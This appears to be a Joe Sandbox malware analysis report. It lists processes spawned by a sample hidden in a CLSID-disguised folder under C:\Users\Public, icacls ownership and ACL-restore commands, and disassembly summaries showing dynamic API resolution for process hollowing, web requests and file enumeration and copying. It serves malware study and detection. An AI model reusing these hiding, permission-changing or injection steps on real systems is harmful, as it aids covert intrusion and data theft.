Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Imagebase:	0x7ff620940000
File size:	89'088 bytes
MD5 hash:	CFCBC15615FFC698507D32C0A7D21134
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:27:36
Start date:	26/07/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Imagebase:	0x7ff73c4f0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:27:36
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:27:36
Start date:	26/07/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ZsL2hKzmRChz.acl
Imagebase:	0x7ff73c4f0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:27:36
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:28:25
Start date:	26/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 436 -p 1524 -ip 1524
Imagebase:	0x7ff66e720000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:28:25
Start date:	26/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1524 -s 1176
Imagebase:	0x7ff66e720000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00417A40 Relevance: 235.2, APIs: 121, Strings: 13, Instructions: 726
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,0249A028), ref: 00417A55
GetProcAddress.KERNEL32(76210000,02499D28), ref: 00417A6D
GetProcAddress.KERNEL32(76210000,024BA428), ref: 00417A86
GetProcAddress.KERNEL32(76210000,024BA440), ref: 00417A9E
GetProcAddress.KERNEL32(76210000,024BA3F8), ref: 00417AB6
GetProcAddress.KERNEL32(76210000,024BF8E0), ref: 00417ACF
GetProcAddress.KERNEL32(76210000,024989F8), ref: 00417AE7
GetProcAddress.KERNEL32(76210000,024BF700), ref: 00417AFF
GetProcAddress.KERNEL32(76210000,024BF718), ref: 00417B18
GetProcAddress.KERNEL32(76210000,024BF760), ref: 00417B30
GetProcAddress.KERNEL32(76210000,024BF838), ref: 00417B48
GetProcAddress.KERNEL32(76210000,02499CC8), ref: 00417B61
GetProcAddress.KERNEL32(76210000,02499F88), ref: 00417B79
GetProcAddress.KERNEL32(76210000,02499F68), ref: 00417B91
GetProcAddress.KERNEL32(76210000,02499FE8), ref: 00417BAA
GetProcAddress.KERNEL32(76210000,024BF8F8), ref: 00417BC2
GetProcAddress.KERNEL32(76210000,024BF6E8), ref: 00417BDA
GetProcAddress.KERNEL32(76210000,02498C78), ref: 00417BF3
GetProcAddress.KERNEL32(76210000,0249A048), ref: 00417C0B
GetProcAddress.KERNEL32(76210000,024BF730), ref: 00417C23
GetProcAddress.KERNEL32(76210000,024BF7A8), ref: 00417C3C
GetProcAddress.KERNEL32(76210000,024BF748), ref: 00417C54
GetProcAddress.KERNEL32(76210000,024BF7F0), ref: 00417C6C
GetProcAddress.KERNEL32(76210000,0249A068), ref: 00417C85
GetProcAddress.KERNEL32(76210000,024BF940), ref: 00417C9D
GetProcAddress.KERNEL32(76210000,024BF6A0), ref: 00417CB5
GetProcAddress.KERNEL32(76210000,024BF808), ref: 00417CCE
GetProcAddress.KERNEL32(76210000,024BF910), ref: 00417CE6
GetProcAddress.KERNEL32(76210000,024BF778), ref: 00417CFE
GetProcAddress.KERNEL32(76210000,024BF7D8), ref: 00417D17
GetProcAddress.KERNEL32(76210000,024BF7C0), ref: 00417D2F
GetProcAddress.KERNEL32(76210000,024BF820), ref: 00417D47
GetProcAddress.KERNEL32(76210000,024BF790), ref: 00417D60
GetProcAddress.KERNEL32(76210000,02498620), ref: 00417D78
GetProcAddress.KERNEL32(76210000,024BF850), ref: 00417D90
GetProcAddress.KERNEL32(76210000,024BF868), ref: 00417DA9
GetProcAddress.KERNEL32(76210000,02499C88), ref: 00417DC1
GetProcAddress.KERNEL32(76210000,024BF880), ref: 00417DD9
GetProcAddress.KERNEL32(76210000,02499CA8), ref: 00417DF2
GetProcAddress.KERNEL32(76210000,024BF898), ref: 00417E0A
GetProcAddress.KERNEL32(76210000,024BF8B0), ref: 00417E22
GetProcAddress.KERNEL32(76210000,02499D68), ref: 00417E3B
GetProcAddress.KERNEL32(76210000,02499DC8), ref: 00417E53
GetProcAddress.KERNEL32(76210000,CreateProcessA), ref: 00417E6A
GetProcAddress.KERNEL32(76210000,GetThreadContext), ref: 00417E80
GetProcAddress.KERNEL32(76210000,ReadProcessMemory), ref: 00417E97
GetProcAddress.KERNEL32(76210000,VirtualAllocEx), ref: 00417EAE
GetProcAddress.KERNEL32(76210000,ResumeThread), ref: 00417EC4
GetProcAddress.KERNEL32(76210000,WriteProcessMemory), ref: 00417EDB
GetProcAddress.KERNEL32(76210000,SetThreadContext), ref: 00417EF2
LoadLibraryA.KERNEL32(024BF988,004166E1), ref: 00417F03
LoadLibraryA.KERNEL32(024BF8C8), ref: 00417F15
LoadLibraryA.KERNEL32(024BF928), ref: 00417F27
LoadLibraryA.KERNEL32(024BF958), ref: 00417F38
LoadLibraryA.KERNEL32(024BF6B8), ref: 00417F4A
LoadLibraryA.KERNEL32(024BF970), ref: 00417F5C
LoadLibraryA.KERNEL32(024BF6D0), ref: 00417F6D
LoadLibraryA.KERNEL32(024BF9D0), ref: 00417F7F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00417F8F
GetProcAddress.KERNEL32(751E0000,02499D88), ref: 00417FAB
GetProcAddress.KERNEL32(751E0000,024BFA00), ref: 00417FC3
GetProcAddress.KERNEL32(751E0000,024BDF68), ref: 00417FDB
GetProcAddress.KERNEL32(751E0000,024BFA48), ref: 00417FF4
GetProcAddress.KERNEL32(751E0000,0249A088), ref: 0041800C
GetProcAddress.KERNEL32(700F0000,02498958), ref: 0041802C
GetProcAddress.KERNEL32(700F0000,0249A308), ref: 00418044
GetProcAddress.KERNEL32(700F0000,024987F0), ref: 0041805C
GetProcAddress.KERNEL32(700F0000,024BF9A0), ref: 00418075
GetProcAddress.KERNEL32(700F0000,024BF9E8), ref: 0041808D
GetProcAddress.KERNEL32(700F0000,0249A268), ref: 004180A5
GetProcAddress.KERNEL32(700F0000,0249A3C8), ref: 004180BE
GetProcAddress.KERNEL32(700F0000,024BFA60), ref: 004180D6
GetProcAddress.KERNEL32(753A0000,0249A428), ref: 004180F2
GetProcAddress.KERNEL32(753A0000,0249A408), ref: 0041810A
GetProcAddress.KERNEL32(753A0000,024BFA18), ref: 00418122
GetProcAddress.KERNEL32(753A0000,024BFA30), ref: 0041813B
GetProcAddress.KERNEL32(753A0000,0249A388), ref: 00418153
GetProcAddress.KERNEL32(76310000,02498CA0), ref: 00418173
GetProcAddress.KERNEL32(76310000,024987C8), ref: 0041818B
GetProcAddress.KERNEL32(76310000,024BF9B8), ref: 004181A3
GetProcAddress.KERNEL32(76310000,0249A3A8), ref: 004181BC
GetProcAddress.KERNEL32(76310000,0249A0A8), ref: 004181D4
GetProcAddress.KERNEL32(76310000,024989A8), ref: 004181EC
GetProcAddress.KERNEL32(76910000,024BFF10), ref: 0041820C
GetProcAddress.KERNEL32(76910000,0249A3E8), ref: 00418224
GetProcAddress.KERNEL32(76910000,024BDEF8), ref: 0041823D
GetProcAddress.KERNEL32(76910000,024C0090), ref: 00418255
GetProcAddress.KERNEL32(76910000,024BFF88), ref: 0041826D
GetProcAddress.KERNEL32(76910000,0249A328), ref: 00418286
GetProcAddress.KERNEL32(76910000,0249A348), ref: 0041829E
GetProcAddress.KERNEL32(76910000,024BFFD0), ref: 004182B6
GetProcAddress.KERNEL32(76910000,024C0030), ref: 004182CF
GetProcAddress.KERNEL32(75B30000,0249A168), ref: 004182EB
GetProcAddress.KERNEL32(75B30000,024C0000), ref: 00418303
GetProcAddress.KERNEL32(75B30000,024BFF58), ref: 0041831C
GetProcAddress.KERNEL32(75B30000,024C0048), ref: 00418334
GetProcAddress.KERNEL32(75B30000,024BFFB8), ref: 0041834C
GetProcAddress.KERNEL32(75670000,0249A0C8), ref: 00418368
GetProcAddress.KERNEL32(75670000,0249A368), ref: 00418380
GetProcAddress.KERNEL32(76AC0000,0249A288), ref: 0041839C
GetProcAddress.KERNEL32(76AC0000,024BFE08), ref: 004183B4
GetProcAddress.KERNEL32(6F500000,0249A108), ref: 004183D4
GetProcAddress.KERNEL32(6F500000,0249A0E8), ref: 004183EC
GetProcAddress.KERNEL32(6F500000,0249A128), ref: 00418405
GetProcAddress.KERNEL32(6F500000,024BFE68), ref: 0041841D
GetProcAddress.KERNEL32(6F500000,0249A148), ref: 00418435
GetProcAddress.KERNEL32(6F500000,0249A188), ref: 0041844E
GetProcAddress.KERNEL32(6F500000,0249A2C8), ref: 00418466
GetProcAddress.KERNEL32(6F500000,0249A228), ref: 0041847E
GetProcAddress.KERNEL32(6F500000,HttpQueryInfoA), ref: 00418495
GetProcAddress.KERNEL32(6F500000,InternetSetOptionA), ref: 004184AC
GetProcAddress.KERNEL32(75AE0000,024BFDA8), ref: 004184C8
GetProcAddress.KERNEL32(75AE0000,024BDED8), ref: 004184E0
GetProcAddress.KERNEL32(75AE0000,024BFFA0), ref: 004184F9
GetProcAddress.KERNEL32(75AE0000,024BFDC0), ref: 00418511
GetProcAddress.KERNEL32(76300000,0249A2E8), ref: 0041852D
GetProcAddress.KERNEL32(6E800000,024BFE20), ref: 00418549
GetProcAddress.KERNEL32(6E800000,0249A1A8), ref: 00418561
GetProcAddress.KERNEL32(6E800000,024BFDD8), ref: 0041857A
GetProcAddress.KERNEL32(6E800000,024BFE38), ref: 00418592
GetProcAddress.KERNEL32(6D260000,SymMatchString), ref: 004185AC

Strings

VirtualAllocEx, xrefs: 00417EA3
HttpQueryInfoA, xrefs: 0041848A
ResumeThread, xrefs: 00417EBE
CreateProcessA, xrefs: 00417E5F
ReadProcessMemory, xrefs: 00417E8C
dbghelp.dll, xrefs: 00417F85
P2#v, xrefs: 00417C48
GetThreadContext, xrefs: 00417E7A
WriteProcessMemory, xrefs: 00417ED0
SetThreadContext, xrefs: 00417EE7
SymMatchString, xrefs: 004185A6
InternetSetOptionA, xrefs: 004184A1
1#v, xrefs: 00417D3B

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$P2#v$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll$1#v
API String ID: 2238633743-3379916010
Opcode ID: 99bfb0a2137326516713e216a9d450e559a5b5e2ebbfb807218a3a1d6a70ef3d
Instruction ID: 063c43ef11668f3b4bcf1e06991fb7fc39d12d8cee9b34c79393d9f3b317e2b6
Opcode Fuzzy Hash: 99bfb0a2137326516713e216a9d450e559a5b5e2ebbfb807218a3a1d6a70ef3d
Instruction Fuzzy Hash: 5A6211B9A106009FD714DFA5EE8A9263BFBF7C87013147519EA06C3364E7B8A841CF95

Function 00402000 Relevance: 70.1, APIs: 39, Strings: 1, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402014
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040201B
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402022
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402029
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402030
GetProcessHeap.KERNEL32(00000000,?,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040203B
HeapAlloc.KERNEL32(00000000,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402042
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402052
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402059
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402060
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402067
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040206E
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402079
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402080
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402087
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040208E
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402095
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020AB
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020B2
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020B9
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020C0
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020C7
lstrlenA.KERNEL32(?,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020CF
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020F0
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020F7
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 004020FE
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402105
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040210C
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040211C
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402123
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 0040212A
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402131
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,004175FB), ref: 00402138
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 0040214D
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 00402158
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 0040215F
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 00402166
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 0040216D
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 00402174

Strings

In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention , xrefs: 0040200F, 00402016, 0040201D, 00402024, 0040202B, 0040204A, 00402054, 0040205B, 00402062, 00402069, 00402070, 0040207B, 00402082, 00402089, 00402090, 004020A6, 004020AD, 004020B4, 004020BB, 004020C2, 004020E0, 004020F2, 004020F9, 00402100, 00402107, 00402117, 0040211E, 00402125, 0040212C, 00402133, 00402153, 0040215A, 00402161, 00402168, 0040216F

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocProcessProtectVirtual
String ID: In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention
API String ID: 1976544779-3600131318
Opcode ID: a4167687b35c2fc6c3f12c85d54bc1d37fc4993539ebfefbbc702df93726a96d
Instruction ID: 155b361810c2162a8ce7a193311da36ac5826eab53bfc95ccb16ddaea6ec9530
Opcode Fuzzy Hash: a4167687b35c2fc6c3f12c85d54bc1d37fc4993539ebfefbbc702df93726a96d
Instruction Fuzzy Hash: C131BA21F8033CF79660EBED6C4AF5E6EF5FF8CB50BA0425779085558289A85401CEAF

Function 00414F80 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 325
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414FA0
FindFirstFileA.KERNEL32(?,?), ref: 00414FB7
memset.MSVCRT ref: 00414FD0
memset.MSVCRT ref: 00414FE3
StrCmpCA.SHLWAPI(?,004201DC), ref: 0041500F
StrCmpCA.SHLWAPI(?,004201D8), ref: 00415029
wsprintfA.USER32 ref: 0041504E
StrCmpCA.SHLWAPI(?,004201E9), ref: 00415060
wsprintfA.USER32 ref: 00415088

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

wsprintfA.USER32 ref: 004150AA
memset.MSVCRT ref: 004150C1
lstrcatA.KERNEL32(?,?), ref: 004150D1
strtok_s.MSVCRT ref: 004150E7
strtok_s.MSVCRT ref: 00415116
memset.MSVCRT ref: 00415130
lstrcatA.KERNEL32(?,?), ref: 00415140
strtok_s.MSVCRT ref: 00415156
PathMatchSpecA.SHLWAPI(?,00000000), ref: 0041516E
DeleteFileA.KERNEL32(00000000,00000000,?,024BFEB0,?,?,?,004201E0,?,00000000,?,004201E9), ref: 0041520F
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00415227

Part of subcall function 00410F90: CreateFileA.KERNEL32(;RA,80000000,00000003,00000000,00000003,00000080,00000000,?,0041523B,00000000,?,004201E9), ref: 00410FAD
Part of subcall function 00410F90: GetFileSizeEx.KERNEL32(00000000,?,?,004201E9), ref: 00410FBF
Part of subcall function 00410F90: CloseHandle.KERNEL32(00000000,?,004201E9), ref: 00410FCA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00415247
DeleteFileA.KERNEL32(00000000,00000000,?,000003E8,00000000,?,?,004201E9), ref: 00415259
strtok_s.MSVCRT ref: 00415272
FindNextFileA.KERNELBASE(?,?), ref: 00415374
FindClose.KERNEL32(?), ref: 00415386

Strings

P2#v, xrefs: 00415374
%s\%s, xrefs: 00415048, 004150A4
1#v, xrefs: 00414FB7
%s\*.*, xrefs: 00414F9A
%s\%s\%s, xrefs: 00415082

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$memsetstrtok_swsprintf$Find$CloseDeletelstrcat$CopyCreateFirstHandleMatchNextPathSizeSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrcpy
String ID: %s\%s$%s\%s\%s$%s\*.*$P2#v$1#v
API String ID: 3252185717-1272344234
Opcode ID: 778bdf213f225875181eced6ecaa70f04daa1fb3117cefc58962ec4c29ef0417
Instruction ID: 996867c3883e5c4f9d14c97c6daec3073e0067922b1a953186596bd2cd2b31e7
Opcode Fuzzy Hash: 778bdf213f225875181eced6ecaa70f04daa1fb3117cefc58962ec4c29ef0417
Instruction Fuzzy Hash: 21C19B72900208ABDB24EBB1DC45FEE737CAF44704F54456EF915A6181EF78AB48CBA4

Function 004176E0 Relevance: 48.2, APIs: 32, Instructions: 222
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,024BA260), ref: 00417748
GetProcAddress.KERNEL32(76210000,024BA0F8), ref: 00417761
GetProcAddress.KERNEL32(76210000,024BA308), ref: 00417779
GetProcAddress.KERNEL32(76210000,024BA2F0), ref: 00417791
GetProcAddress.KERNEL32(76210000,02494B70), ref: 004177AA
GetProcAddress.KERNEL32(76210000,02499FA8), ref: 004177C2
GetProcAddress.KERNEL32(76210000,02499CE8), ref: 004177DA
GetProcAddress.KERNEL32(76210000,024BA290), ref: 004177F3
GetProcAddress.KERNEL32(76210000,024BA2D8), ref: 0041780B
GetProcAddress.KERNEL32(76210000,024BA170), ref: 00417823
GetProcAddress.KERNEL32(76210000,024BA1D0), ref: 0041783C
GetProcAddress.KERNEL32(76210000,02499D48), ref: 00417854
GetProcAddress.KERNEL32(76210000,024BA218), ref: 0041786C
GetProcAddress.KERNEL32(76210000,024BA200), ref: 00417885
GetProcAddress.KERNEL32(76210000,0249A008), ref: 0041789D
GetProcAddress.KERNEL32(76210000,024BA0C8), ref: 004178B5
GetProcAddress.KERNEL32(76210000,024BA230), ref: 004178CE
GetProcAddress.KERNEL32(76210000,02499FC8), ref: 004178E6
GetProcAddress.KERNEL32(76210000,024BA1A0), ref: 004178FE
GetProcAddress.KERNEL32(76210000,02499E48), ref: 00417917
LoadLibraryA.KERNEL32(024BA1E8), ref: 00417928
